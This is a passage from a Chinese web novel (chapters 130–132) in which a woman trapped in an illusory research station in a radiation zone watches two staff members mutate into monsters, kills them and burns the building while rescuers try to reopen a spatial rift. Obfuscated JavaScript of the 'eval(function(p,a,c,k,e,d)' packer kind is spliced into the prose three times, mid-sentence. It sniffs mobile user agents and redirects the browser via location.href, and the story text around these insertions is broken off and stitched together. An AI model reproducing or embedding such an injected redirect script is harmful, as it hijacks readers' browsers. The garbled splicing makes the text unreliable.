这不过是因思禾气愤之下的率言，早在启明星发生袭击时，简初成为唯一一个被拉进异空间的人，她就意识到对方身上一定有什么特别之处，尽管没有证据可以证明简初和无人区之间有所关联，但作为研究人员，她的敏感度让她无法忽视这样的可能性。 如果简初的失踪也和异种人有关，那就真的凶多吉少了，但如果是这样，她就更不能放弃。联邦对于异种人的研究资料本就稀少，这样的线索摆在面前，因思禾没有理由拒绝。 另一边，傅燃已经从散落的物资堆里搜罗了几把武器，别在腰间试了试牢固度。 “你们先回去，我去找她。” “等等！”傅遥伸手就拦住了他，“你的异能……怎么办？” 她已经看出来，傅燃和对方关系匪浅，但傅燃再来之前没有做精神疏导，如果过度动用异能，后果不堪设想。 “我不用异能，这里还不需要。” 傅遥简直头大，正常来说，以他的能力就算在无人区深处，自保也绰绰有余，但问题就是现在可不是正常情况，这一路上出现的意外已经够多了，就光是刚刚那道诡异的裂缝，她就没有在任何一份报告上见过。 “因博士让我保护她，我得去。”傅燃的手已经放在了车厢门上，两人有些相似的眼睛都看向了因思禾，似乎在等她做最后的决定。 尽管她的决定可能并不会影响什么。 “……你不要走远，我们回去集结人手，有任何发现都要等到我们过来，知道吗？”因思禾焦心地叮嘱，但又没有其他办法，只能眼睁睁看着对方跳下车，往另一个方向而去。 “注意安全！不要逞强！”傅遥扒着车厢门边大声喊道，她不怪因思禾做出这样的决定，作为姑侄，她能看出来傅燃已经下定决心，就算因思禾不同意，他也只会一意孤行地跳车。 越野车瞬间加速，带着滚滚的尾烟往N62站点的方向而去。 另一边，中控室的李瑞千终于等到了她期待的声音，但其中的含义却并不美妙。 “呼叫N62，返程途中队员简初失踪，请求支援！” 数据屏上刚刚跳出坐标点，下一秒，莫景就飞快离开座位冲出了中控室，而伊森也是面色难看地站起身，沉默片刻紧随而去。 剩下的工作人员面面相觑。 作为跟了因思禾快十年的特助，李瑞千能从对方的语气中读出足够的讯息，她没有过多犹豫，立刻拉响了站点的警报铃。 “所有战斗人员立刻到前厅集合！重复一遍！所有战斗人员立刻到前厅集合！” 130. 无人区（32） 地平线吞没了最后一丝日光，今晚的夜空有着大片大片的阴云，不过还是能看见远处的沙地被月光照得亮晶晶的，宛如一片波光粼粼的海。 不过此时简初的头顶正被一片阴云笼罩，她已经来到站点的门外，甚至站在院子外踌躇了一会，但出人意料的是里头一直没有人出来。 简初抬起头看了眼头顶的监控，又下意识低头看了眼时间。 可能是受到空间裂缝的影响，不知从什么时候开始，她的终端已经停止了运行，屏幕角落显示“无信号”不说，就连时间也停住不动，如果不是还能亮屏，简初都要怀疑是不是没电了。 “叮咚！” 辐射来临的时间越来越近，简初不再犹豫，伸手按响了这个从建设以来几乎没有响过的门铃。 她能透过大门看见前厅里堆叠的箱子，但过了好一会，门铃的响声已经停止，却没有人来开门，甚至小楼里没有传来一丝动静。 有些不对劲？ 简初搓了搓手指，正要掏出自己口袋里的通行卡，就看见前厅的一扇房门被人打开，里头探出一个看上去还算年轻的女性面孔，她一眼就看见了站在门外的简初，整个人肉眼可见地抖了两下，又迅速缩了回去。 尽管对方动作很迅速，但还是落在一直盯着屋内的简初眼中，她眯眯眼，门铃带着催促之意再次响起。 “你好，我是因博士队伍里的成员，遇到意外不小心走散了。”简初把通行卡揣回兜里，“走了好久才到这里，方便让我进去说话吗？” 既然确定了里面有人，她最好还是先进行友好沟通。 过了好一会，那位年轻的工作人员才又重新走出来，她面带警惕，其中还藏着一丝莫名其妙的惊惧，一手搭着腰间的激光枪，双眼紧盯着简初慢慢走了过来。 “你……有什么证据？”她扬了扬下巴，“只有你一个人来？” 简初好脾气地举起通行卡在她面前晃了晃：“这是我们通行卡，你应该能看出来，其实我可以自己开门的。” 话音刚落，屋内的女性微微睁大了眼睛，在她的怀疑中，简初耸耸肩，伸手将卡片刷上了站点的大门。 寂静在两人之间蔓延。 ……门没开。 对方瞬间拔枪，黑洞洞的枪口直对着简初的脑壳，简初赶紧举起双手，蓝色的通行卡甚至还夹在她指间。 “不是，你听我解释……” 正在这时，站点的大门非常没有眼色地打开了，年轻女性向后退了半步，但握枪的手变得更紧，让简初有些担心它的扳机会被“不小心”扣下。 “不要这么紧张，我们……” “什么情况，怎么了……这是？”简初话还没有说完，屋内就急匆匆赶来一个年轻人，他年纪看上去要稍微大一些，套着一件白大褂，眼镜架在鼻梁上，跑动之间有些歪了。 “你们可以把卡拿去检查一下。”简初将手里的通行卡丢过去，年轻女性抬手接过，却没有放下举枪的手，而是把卡片递给了身后仍然云里雾里的同伴。 “去验一下。” 来人虽然还没搞清楚状况，但很听话地把卡片拿走，在一旁的机器上刷了一下。 “姓名：简初，临时通行权限认证通过，临时管理人员：因思禾。” 机械的声音犹如天籁，而设备屏幕上弹出的照片里正是简初入学时有些嫩气的脸。 听见系统确认无误，年轻女性才放下手里的枪，侧身让人进来了。 “抱歉，我们这里一般没有生面孔，所以会格外注意。” “理解。”简初从对方手里接回通行卡，把它又揣回了兜里。 另一位男性工作人员歪了歪头：“所以，这是发生什么了？” 年轻女性转头温声道：“因博士队伍里的，意外和队伍走散，找到这里来了，不过你运气可真好，正常在无人区走丢，基本就不可能活着等到救援了。” 她上下打量了眼简初：“你应该是异能者吧？” “走散的地方距离这里不远，我大概走了一个小时就看见这个站点的灯光了。”简初笑得很单纯，“一路上也没遇到什么东西，也算是运气不错吧。” 见简初没有回答那个问题，对方倒也不恼：“我给总部还有因博士那边都发送一下消息，你现在这等一会吧，估计他们很快就要到了，在这种地方也能走散，你也太不小心了。” 见对方转头就走，简初赶紧抬脚跟了上去，大门在她身后重新锁紧，发出一声轻响。 “你们怎么称呼？” “我叫胡可，刚刚的那个研究员是于蓝，这里只有我们两个人，本来还有一个的，他前天回研究所汇报了，估计明天才会带着物资回来。”确认了简初的身份，胡可一改之前的模样，变得十分温和，“刚刚我在监控里没有看见人，一出来看见你站在那儿，给我吓得不轻，还以为出现幻觉了。” 怪不得刚刚对方的表情看上去有些恐惧，在无人区里出现幻觉可不是什么小事，当然，对于简初来说，她已经算得上是幻境的常客了。 不过，为什么监控里看不到她？简初这么想着，也这么问了。 她并没有使用异能，更何况，无人区站点里的监控不都是特制的吗？ “有一点卡顿，不是什么大问题。”胡可指了指监控左上角的时间，“刚刚我确实没注意，调一下应该就好了。” 简初凑过去，看见左上角的时间停在了一小时前。 “呃，信号也不太行啊，怪不得……”胡可喃喃自语，“你现在这休息会吧，这会消息暂时发不出去。” 简初点点头，趁着这段时间，她稍稍打量了监控室内的布局。 当时从N16出发，队伍中途临时在N37站点休息了片刻，明显能看出来从N37之后，她见到的站点小楼都一模一样，甚至连朝向都分毫不差。 就连N62的内部空间也和这里别无二致。 “冒昧问一下，我还不知道这里是哪个站点。”见胡可皱眉投来一个疑惑的眼神，简初表情无奈地耸耸肩，“我去过的几个站点都长这样，无人区里面也分不清方向，所以我没法确定这是哪里。” 胡可闻言，眉头稍微松了松：“可以理解，毕竟你们刚来这里，很多东西还不熟悉，其实每个站点还是有一些细微的差异的。” 话虽这么说，胡可也只是对自己负责的站点比较了解，其他的……她自己也未必能分辨，但这种话她肯定不会在外人面前说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“怎么样了？”傅遥朝四周望了望。 傅燃沉默地摇摇头以示回应，看着因思禾马不停蹄地监测附近的残留异能波动，很快就排除了人为事故的可能性，并确认了裂缝的真实身份。 “这是无人区自然形成的空间裂缝。”因思禾神色凝重，“研究所那边从来没有观测到类似的情况，我猜测是高强度的辐射射线意外击破了空间，导致出现了不稳定的空间裂隙。” 这也意味着越往深处，就越可能出现这样的裂缝，他们想要继续向内推进，就必须想办法解决这个问题。 “那我们怎么才能找到人？”傅燃打断了对方，他脸上鲜少露出这样不耐烦的表情。 “同一个裂缝往往指向一个固定的位置，这是由高维光栅决定的，但现在的问题是，简初还在不在原来的位置上，如果她离开原来的位置寻找救援……” “我们就找不到她了？”莫景连忙追问，原本因思禾并不打算带这个小丫头来，但诸多现实因素影响，她也不放心把人留在站点，毕竟程源也在那里。 如果简初真的回不来，她需要通过莫景来弄清楚程源的计划。 “那只能我们进去找人了。”因思禾纠正道。 “那该怎么做？” 因思禾低头看了看时间，示意其他人员在周围布防：“借助无人区的内部辐射，重新打开裂缝。” 131. 无人区（33） 监控室内一片安静，胡可忙活了半天，依旧没能恢复信号连接，不过她表情十分淡定，看上去这种事并不是第一次发生。 “应该是收到辐射前夕的影响，这里每天都会发生各种意外情况，我们都已经习惯了。” 不，她并不想习惯这种事。简初心想。 她试图从周围找出“这是一个幻境”的证据，但很可惜，周围的每一个事物都很真实，混乱中又自有秩序，比如胡可总是能从乱成一锅粥的桌面上找到自己想要的东西。 “别紧张，这里很安全，你要不要吃点东西？”胡可注意到简初不断往门外看，以为她是担心联系不上大部队。 和群体走散的成员，理所当然地处于无法控制的恐慌中，直到她重新回到团队中。 “谢谢，不过暂时不用。” 说实话，简初现在不太敢吃这里的东西，尽管到目前为止她都没有遇到什么威胁，但掉以轻心可不是一个好选择。如果这里会延续真实世界中N58的发展轨迹，那她很快就会看到这里被烧为灰烬的模样。 前提是这真的是座“海市蜃楼”。 “你的同事，我是说于蓝，他去哪儿了？”简初状似不经意问道。 “他在三楼的实验室，不用管他，这人就是这个性格，离了实验室就一副生活不能自理的模样。”胡可撇撇嘴，笑容里却带着一丝难以察觉的体谅，“他不擅长和别人打交道，而且做什么都慢半拍，憨憨的。” 简初一直盯着她的脸，自然没有错过每个细微的表情：“你们关系看上去很好。” 胡可愣了愣，紧接着露出一个明快的笑意：“当然，我们刚刚结为伴侣，假期结束就回来工作了。” “怎么了，为什么这副表情？” “………没什么。”简初嗓子干巴巴的，勉强开口答了一句。 监控室再次回归安静，尽管现在还没有信号，但胡可依然把所有的必必要流程走完，确保信号恢复的第一时间，监控就能开始正常运行，做完这一切之后，她才伸了个懒腰站起身。 “时间差不多了，我去看看于蓝的工作进行到哪一步了，毕竟因博士要来，他之前就一直念叨着要见偶像。” 简初两步跟上：“我跟你一起去。” “呃，倒也……”胡可刚想拒绝，就看到年轻人有些忐忑的面容。对方看上去很年轻，能一直保持冷静已经很难得了，要是被独自留下，大概又会焦虑起来。 话在嘴里拐了个弯，最后变成了：“那就一起去吧。” 简初亦步亦趋地跟在对方身后，她看出胡可的性格并不十分强势，应该是无人区研究所里少见的还算擅长人际交往的人，可就算如此，两人一路上也只有沉默。 道路终有尽头，更别提这栋楼本来就不大，两人前后来到三楼，简初终于见到这条走廊原本的样貌。 走廊大约三人宽，一眼看过去很干净，没有堆放什么杂物。尽头是一扇狭窄的、只有人脸大小的窗户——之前车队准备离开时，异种就是从这扇窗对外发起攻击的。 “怎么了，看什么呢？”胡可已经推开实验室的门，见人没有跟上，回头招呼了简初一声。 “在看那扇窗户吗？是不是之前的站点都没有见过？” 简初顺着她的话，一脸新奇地点点头：“确实没讲，这样不会影响到站点的防护吗？” “绝大部分的辐射都会被防护光栅过滤掉，窗户之所以开这么小，不过是为了以防万一。”胡可也抬起头看那扇窗，“不知道什么时候，能在站点里装上正常的窗户，虽然外面也谈不上有什么好风景，但总比这些大白墙好得多。” 这几年的时间里，防护光栅已经更新换代了好几次，和最初的版本已经大相径庭，但此前的站点还在正常维护期，也没有耗费资源重建的必要。 “于蓝，你事情干完了吗，他们应该快到了！”也许是因为有外人在场，胡可只将门拉开一道窄缝。 简初稍稍挪了下位置，试图从缝隙里看到些什么，可惜实验室内的光线很暗，角落有一些灯光，但都被门板挡得严严实实，只能看见有人走动时在地面投下的阴影。 “于蓝？”胡可无奈地叹了口气，“麻烦你在门口等等，我去喊他。” “嗯……”简初手指不安地搓了搓，“注意安全。” 这句话让胡可有些诧异，她转念一想，这次的访客们大多都没有来过无人区，谨慎一些也很正常，说不定这几天下来，“注意安全”已经是挂在嘴边的口头禅了。 她没有理由拒绝别人的好意。 “行，你在这等着。”胡可弯弯眼角，转身钻进实验室，随后甩上门——这里的门都有磁吸，不需要特地反锁。 简初垂着眼皮，适时伸出脚，卡住了即将完全合上的门，她丝毫没有犹豫，直接上前一步，伸手推开了门，整个人紧贴到门边，打量里头的情况。 比起视觉，声音要更明显，简初最先听到的是设备运作声，其中夹杂着蒸汽扑腾的动静，应该是正在蒸煮什么样本，其次就是胡可越来越远的脚步以及说话声。 “还没有处理完吗，因博士他们快到了，你是不是得稍微整理一下，现在看上去有些萎靡……” 里头传来微若蚊呐的回应，简初完全听不清楚。 “好吧，或许你应该停下来休息一会，你现在说话都没什么力气了。” “……”对方又说了什么。 “做研究就是这样，不如这样，明天你来值班，实验室这边换我来看看，虽然杨树所长比较喜欢你的那一套，但我的研究方法也不赖。” 听到这里，简初才意识到胡可也是一名研究员。她之前作为“保护者”的色彩太过浓重，让简初以为两人分工不同，现在看来，不过是各有侧重。 对话非常顺利地进行，很快，简初便看到两人一前一后往门口走来，她悄无声息地合上了房门，等待着里面的人推开。 “怎么突然感冒了，你赶紧去收拾一下，这幅模样可不太适合见人。”胡可一无所觉地推开房门，看到外头的女孩无聊地双手抱胸，在门前来回踱步。 听见声音，简初抬起了头，入眼便看见于蓝有些红的双眼，他正用一张纸捂着鼻子，用力擤了擤鼻涕。 “我也不知道……怎么突然就感冒了……刚刚还好好的……”他沮丧地把纸巾握在手心，“待会得戴个口罩才行。” “你抵抗力太差了，就算是异能者，一直闷在实验室里也不好，再这样下去，你的身体素质又要降级了。”胡可无奈地摇摇头，“这些之后再说，你先去拾掇一下，我估摸着还有半个小时他们就到了。” 于蓝没再说话，低头又从口袋里掏出一张纸，用力地擤了擤鼻子，但从他的表情看上去，这个动作好像并没有什么效果。 “或许你得找点药吃。”简初说。 这话得到了胡可的大力支持，她伸手拍了拍于蓝的肩膀，催促他赶紧往前走：“她说的没错，你赶紧回房间吃点药，最好再躺一会，看见车队我会提前喊你的。” 于蓝揉了揉眼，整个眼眶红彤彤的：“不用了，我吃个药就行，等他们走了再休息，不差这一会。” “你自己决定。”胡可朝简初皱了皱脸，有些无奈地歪歪脑袋，“那我们先去一楼，你收拾好了就过来吧，我煮点热茶。” 三人在二楼的楼梯口分开，简初若有所思地看着于蓝的背影，和方才相比，他的脚步明显变得虚浮，走起路来带着长长的拖沓声，肩膀也半垮下去，像是被工作掏空了身体。 就这么十来分钟，会让一个人有这么大的变化吗？ …… 今晚的月色很明亮，整片天空几乎看不到一丝云彩，甚至连风也比前几日柔和了不少。 一个巨大的篷布在两辆越野车之间迅速搭建起来，后方的支援物资已经提前送到N62，所以这里的部署倒也不吃紧。 这次因思禾不仅是想把简初救出来，她还更想弄清楚这条空间裂缝的形成条件与基本情况，毕竟在后期的探索中也许还会碰到。 如果能在雷达上提前识别、避开就再好不过了。 十米开外，以之前裂缝的坐标为核心，好几台监测、辅助仪器成弧形环绕着，其中最重要的就是一台集能装置，它能够捕捉无人区深处的辐射，再以更大的功率输出，来强行“爆破”裂缝的坐标点。除此以外，就是一些记录辐射波段的设备。 “因博士，一切已经准备好了。” 所有人都挤在篷布下面，他们需要尽可能待在防护范围内，来减少异能的不必要损耗。 想要冲破空间屏障并不是一件简单的事，更何况这里的条件如此简陋，但原本的裂缝就像一道“旧伤”，让本不可能的事情变得可能。尽管如此，到时候因思禾也需要不断调整集能器的数值，来寻找和裂缝对应的辐射波段。 虽然大家都是为了同一个目标，但作战人员的站位还是泾渭分明，一拨是以崔斯特为首的，来自斯塔集团的安保队员，另一拨则是傅遥带领的特战中心。 “怎么会出这种事？”林豹双低声询问，没有亲眼见到当时的情况，她很难想象什么样的裂缝会让人毫无防备地掉落进去，而最重要的是，在场的其他人都没事，唯有简初消失不见。 她觑了眼傅燃的脸色，状似无意开口道：“说起来，简初是哪里人？” 这话问得很微妙，恨不得直接把“她在怀疑简初的身份”几个字写在脸上了。 但傅燃的表情丝毫未变：“别想了，她……没有问题。” “哦～”林豹双拉长了尾音，“这么说来你查过她咯，因为什么事，怎么都没告诉我们？” 多亏她脑子转得快，不然还真被这人敷衍过去了，可惜傅燃对此依旧毫无反应，林豹双愿称之为“被人戳破后恼羞成怒的无视”。 “不说就不说。”她低声嘟囔了一句。 只可惜黎取没跟着一起来，否则他们俩还能统一战线一起质问傅燃，至于安栩……也是块木头。 “我去周围看看，待会回来。” 扔下这句话，傅燃就离开了安全区，傅遥朝协会的两人使了个眼色，他们便点点头，远远跟了上去。 …… “噗噗噗——” 蒸腾的热气将茶壶盖顶得不停晃动，站点内温度正常偏低，透过袅袅的白雾，简初发现对面的胡可正在走神。 “水开了。”她伸手关掉了电源。 “啊！抱歉！”胡可猛然回神，有些懊恼地拿过简初面前的杯子，往里面注入了滚水，一股奇异的清甜瞬间从杯口逸散出来，尽管简初并不打算喝下这杯水，还是忍不住对里面的冲剂感到好奇。 她的表情显然被对方注意到了，胡可笑着把杯子放在她面前，又给自己面前的两个杯子注满水：“无人区特供，尝尝。” “太烫了。”简初假模假样地伸手摸了摸杯子，才开口询问，“这是什么？” “一种修复冲剂，虽然有防护光栅存在，但我们毕竟是长年累月待在这里，多少还是会受一点影响，毕竟辐射这种东西看不见摸不着，总有空子能钻。像你们只待一两个月的就无所谓了，当饮料喝吧。” 胡可把水壶重新放回去保温，又下意识看了眼监控，发现信号还没有恢复，才起身走到监控室门前。她抻着脖子看了眼站点外，又回头往楼上看，但不管是哪一边，都没有她期待的人出现。 “于蓝还没下来吗？” 身后突然出现的声音让胡可一惊，她回头看向不知道什么时候站到自己身后的人，暗自反思自己太过沉浸于自己的思绪，而忽略了外界的情况。 “还没有。”胡可咳嗽一声，稍微提了提精神。 简初丝毫没有意识到自己的行为让胡可想了些什么，她从对方身边挤出去，左右看了看：“要不要去看看于蓝的情况？现在没有信号，说不定他现在身体状况不太好，甚至晕倒了也有可能。” 她特地把情况说得更加危急，满意地看见胡可的表情从犹豫变成了担忧，对方再次看了看外面空无一人的光景，才点点头。 “我们去看看吧，几分钟的事。” 无人区几乎没有什么遮挡物，这会没看到越野车的大灯，就说明车队离这里至少还有十来分钟的车程，上楼看看于蓝也是绰绰有余了。 两人再次来到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295838|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二楼。 这一层除了三名驻点人员的房间，剩下都是空的。本来是留给临时来访人员住宿的，但实际上基本没人来。现在这些空房间都用来摆放杂物，甚至尽头的小屋还被改造成了一个健身房。 此时走廊所有的门都关着，也不知道是不是隔音太好，简初几乎听不见一点声响。 “叩叩叩。” 胡可眉头紧蹙，伸手敲响了房门，她下意识地屏住呼吸，直到房间里面传来模糊的回应声才松了口气。 “于蓝，你还好吗？” 可惜隔着门板听不见对方在说什么，但只要还能回答，就说明没什么大问题。 “我没事，就是有点难受。”门突然被人打开，于蓝脸上戴着一个厚重的口罩，白大褂应该也换过一件，看上去干净挺括了很多。 他说话的嗓音变得更加沙哑了，甚至感觉每说一个字喉咙都会出血，但除此以外，他整个人并没有什么明显的异常。 “我有个报告落在三楼实验室了，待会打算请因博士帮忙看看的，我得去拿过来。”闷闷的声音从口罩后传来，于蓝揉揉眼睛，“我感觉不太好，大概得休息两天。” “你早该休息了……咳咳……听你说话我觉得自己的嗓子都不太行了。”胡可清了清喉咙，“我们陪你一起，你现在有点虚弱。” 于蓝看了简初一眼，通红的眼睛让简初下意识警惕起来。 “嗯。”他点点头，从两人中间穿过，领头来到了三楼实验室。 和刚刚一样，简初仍然在门口等待，不过这次没有人关心实验室的门，它大开着，里面的布置一览无余。 简初如愿以偿看到了里面保存异种尸体的容器，尽管预留了足够多的容器，但实际上在运行的确实只有四个。容器里的液体缓慢冒着泡泡，看上去粘稠异常，嵌在底部的光源把异种的每一个部位都照亮，足够看清却又并不刺眼。 文件被翻得哗哗作响，好一会才停止，胡可甩着胳膊，似乎是在松解肩部的肌肉，嘴里还念叨着“怎么这么酸”，而于蓝则捏着几张薄薄的报告纸，跟在她身后。 突然，于蓝的脚步停住了。 “胡可，你有没有觉得哪里不舒服？”他的声音透着一丝难以察觉的颤抖。 “怎么了，我觉得还好啊？” 简初突然感觉自己变成了一个局外人，实验室中的两人正按照“既定的剧本”进行演出，而她只是一个意外闯入现场的观众。 话音未落，胡可转过身，让简初看到了她的后背。 两根钢鞭刺破衣物，垂落在地，但它们的末梢却仿佛不受控制一般，一抽一抽的。 旁边容器里的光线施舍了一点，落在她身上，让那两条钢鞭好像淬了毒一般幽亮。 “你的异能……是不是不受控制了？”于蓝声音颤抖。 就算简初做足了心理准备，也万万没想到最先出现异变的竟然是胡可，明明在此之前她比于蓝要正常得多，但很快，她发现自己的想法实在是多余。 好像胡可的脸比后背更可怕，于蓝慌慌张张地往后退了两步，整个人磕在身后的异种容器上，又被里头狰狞的异种吓了一跳，整个人向后仰去。 容器上摆放的设备纷纷掉下，巨大的声响点亮了实验室的声控灯，登时炸开的刺目灯光让简初眯了眯眼。 “啊！” 于蓝一声惊呼跌倒在地，疼痛让他下意识抬起撑住地面的手，却看到了掌心冒出的尖刺，此时它们扎进了血肉里，伤口处涌出红到发黑的腥臭血液。 “这是……怎么……” 就两秒钟的时间，于蓝的皮肤迅速爬满黢黑皲裂的硬壳，甚至他话都没有说完，嗓子里就只剩下了意义不明的咕噜声。 “胡可！” 看到年轻女性要往实验室深处走去，简初下意识想要阻止，她匆忙往前走了两步，踏进了实验室里。 “危险，不要去！” 莫名充沛的情感涌上心头，简初此刻仿佛是站点里的第三位工作人员，看着曾经朝夕相处、亲密无间的战友突然变成了无法辨认的怪物，她真情实感地担心胡可的安危，想要把她带离险境。 但她的速度哪里赶得上胡可，只需要两步，里面的两人就紧紧靠在了一起—— 尖利的钢鞭刺穿了“于蓝”的身体，如同两道厚重的铁索，将两人的身体紧紧捆绑在一起，从他们接触的皮肤开始，黑色的硬壳如同瘟疫一样迅速蔓延到胡可的身上，让简初生生停下了脚步。 她的心头涌起本不该如此浓重的慌乱。 胡可感觉到手心一片温热，有粘稠的东西顺着她的右手滑落，在地板上发出微弱的嘀嗒声。 她愣愣地抬头，对上于蓝痛苦中又带着解脱的面容，他的脸上已经布满黑色硬壳，换作是别人已经认不出他来。 细细的血线顺着伤口往外涌动，胡可仿佛才反应过来，连忙抽回钢鞭，但失去了唯一的支撑，于蓝的身体“噗通”一声，从她怀中脱离，再次摔在了地上。 他的胸膛还有微弱的起伏，四周一片安静，只剩下他愈发微弱的呼吸声。 简初的腮帮子抽了抽，努力控制自己往后退了一步，眼看着胡可一脸茫然地伸出沾满鲜血的手，在于蓝脸上留下几道血痕。 但他的胸膛已经不再起伏。 “谁能救救你……”简初听见胡可小声的念叨着，她的声音不复此前的清亮，而是带着浑浊的沙哑，以及些许熟悉的“咕啾”声。 “救救他……救救他！”两人的视线毫无预兆地碰撞在一起，胡可似乎抓到了救命稻草，拖着“于蓝”的身体往前，好像要把他塞进简初手里。 “你救救他，救救他！” 简初感觉到身体不受控制地往前迈了一步，又迅速被自己阻止。 “为什么不救他！为什么！！！” 嘶哑的喊声在实验室里回荡，简初动了动有些干涩的喉头，看着面前已经完全无法辨认的脸，上面爬满了黑色花纹，甚至冒出了一茬茬的细密绒毛。 对方的眼神不复之前的温和与活泼，而是充斥着简初看不懂的刻骨的仇恨。 胡可已经无法交流了。 132. 无人区（34） 实验室里的灯光变得忽明忽暗，刚刚被于蓝撞到的容器边缘出现了一点细微的裂缝，正在以肉眼可见的速度蔓延。 “胡可”拖着另一具异种的尸体，嘴里发出十分悲切的叫声——尽管简初听不懂她在说什么，却能感受到其中的情感，在此之外，她从未在异种身上见过这样的悲鸣。 简初知道此时应该保持冷静，却无法控制内心升起的荒诞与伤感，不知从何而来的汹涌情感几乎要将她淹没，就好像她与他们是朝夕相处了数年的同伴。 太荒唐了！ 她的脚下仿佛生了根一般，无法离开原地，只能眼睁睁看着面前已经完全看不出原本面貌的异种一点点接近。 “砰！” 尸体被甩到脚边，简初咬了咬牙，用尽全力将脚步往后挪了半寸，她好像突然打破了什么限制，开始夺回自己身体的控制权，但面前的异种并不打算给她更多的时间。 “唰！” “胡可”猛然上前一步，一道锋利的钢鞭从她手心飞射而出，带着破空声冲向简初的面门，简初瞳孔骤缩，竭力控制着尚处于麻木中的身体微微侧开，钢鞭擦过她的脸颊，带起一阵热烫的疼痛，“咚”的一声钉在了她身后的墙壁上。 异种“嘤嘤”哭泣着，却无法控制露出充满仇恨的双眼，下一秒，一道赤红的火焰席卷而出，将空中绷直的钢鞭烧到通红，却并没有产生什么实质性的伤害，这让异种又发出怪异的笑声，“哒哒哒”地走出了实验室。 走廊的灯光惨白，完全夺回身体控制权的简初谨慎地后退，与此同时，一层白霜缓慢爬上刚从墙里抽回的钢鞭。 淡金色的虚影在简初身后摇摆，但异种看不到这些，它只觉得面前这个人类露了怯想要逃离，但它不会允许这样的事情发生，空中挥舞的钢鞭再次找到机会，如同离弦之箭，从侧方攻向了简初脆弱的脖子。 这只异种的战斗方式相当聪明，也许是胡可残存的战斗意识影响着它，简初眉目一沉，猛然转过头，空中似乎出现一只无形的大手，一把攥住了袭来的钢鞭，将其甩开。 本可以砸破墙壁的鞭子此时却变得十分脆弱，重力之下竟然叮铃哐啷碎了一地，外层的结构剥脱，露出内里鲜嫩的红肉，让异种发出惨烈的痛呼。 急剧的冷热交替，让鞭子的表层变得极为脆弱，简初这才发现鞭子内里竟然是异种的血肉。 异种尖锐的叫声让简初的大脑变得空洞，她甩甩脑袋，已经发现了这里的不对劲，周围好像存在某种未知的力量，试图让她失去理智，时间越久，她恐怕真的会忘记自己来时的身份。 必须要尽快离开。 简初轻轻叹出一口气，小触手猛然膨胀，“砰砰砰”撞开试图再次攻来的鞭子，如同巨蟒将异种捆缚，在简初的指引下，触手化出一个极其锐利的刀锋，一指宽，却有四面开锋的刃，带着令人牙酸的金属磕碰声，“嗤啦”穿透了异种的心脏。 挥舞的钢鞭骤然停住，像被抽掉灵魂般委顿在地。 小触手们慢悠悠地撤了回来，拱卫在简初的周身，陪着她一起走到异种面前——它的战斗力并没有看起来那么唬人，也许是因为刚刚转化不久。 “呃呃——” 异种口中发出破碎的呼吸声，它胸口剧烈起伏着，伤口喷涌着鲜血，黑黑红红流了一地。 “简、初……” 费力却清晰的两个字重重砸在简初心上，让她无法控制地再次往前走了两步，碰上异种短暂清明的视线。 “告……有问题……” “什么有问题？胡可！”简初猛然凑近，却被一只巨大的手抓住了衣领。 “有……” 胡可的眼神开始涣散，她意识到自己已经无法说出一句完整的话，整个人突然像被抽出了主心骨一样沮丧，她松开抓住简初衣领的手，无力地摇了摇头。 简初看着她伸出一只手捂住了自己的脸，清亮的液体顺着沟壑密布的黑色脸颊躺淌下，在地面汇聚成小小的水洼。 “和……他……” 胡可艰难地举起手，指了指天花板，但简初却莫名明白了她的意思。 “你想和于蓝……”她喉咙哽了哽，“你想和他待在一起吗？” “……烧掉我们！” 胡可已经合上双眼，口中却吐出异常清晰的字眼，下一秒，手臂便重重砸落在地上，再也没有声息。 简初动了动喉咙，用力闭上眼睛，金色的触手一层层缠绕着胡可的尸体，将她放了回去。 红色的火苗如同焰火落在两具异种的尸体上，紧接着迅速向外蔓延，热浪让周围的容器接连炸开，粘稠的液体喷出，沾到火苗便烧得旺盛，液体拖着火焰向外流淌，催促着简初尽快离开。 火光中两具尸体几乎合二为一，空气中漂浮着淡淡的腥臭，简初站在楼梯口，看着火焰均匀地铺满走廊的每一寸地面，安静地燃烧着。 “这样可以了？” 简初身边没有其他人，但她却仿佛在跟谁对话。 “我知道是你。” 她最后看了一眼火场，在【极寒领域】的环绕下走到了一楼，确认所有的监控仍然没有信号，也没有拍到她，才来到了站点的院子里。 “我接下来该做什么？”简初垂头喃喃道。 片刻的安静后，熟悉的音乐声响起。 “噔噔噔～” “在这个无边的舞台中，场边的观众或许早已身在其中。请你思考……” 系统的声音突然卡住，简初意识到接下来的话也许意义重大，但要命的是它确实卡在了这里。 “触发任务：回到你应该去往的地方。” “重要说明：请确保你没有被任何人发现。” 系统跳过了那个问题。 身后站点里的灯光突然熄灭，只剩火焰在狭窄的窗户后闪烁，逸散的黑烟把外墙抹得灰扑扑的，火势不受控制地越烧越旺，似乎里头有人不断往里面添加燃料。 简初猛然回神，将自己的意识从黑色门洞、红色火焰上剥离，这里在试图留下她，她不能再待下去了。 回到她该去的地方…… 简初擦掉自己脸上的血，看向了来时的道路。 …… 沉默在蔓延。 傅燃在周围转了一圈，又是意料中的一无所获，他卡着点回头，就看见一群人围绕因思禾，满脸凝重地看她操作面前的仪器。 有人双手抱胸，皱眉扯了扯同伴的衣摆：“你看懂了吗？” “不懂、不想、不问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 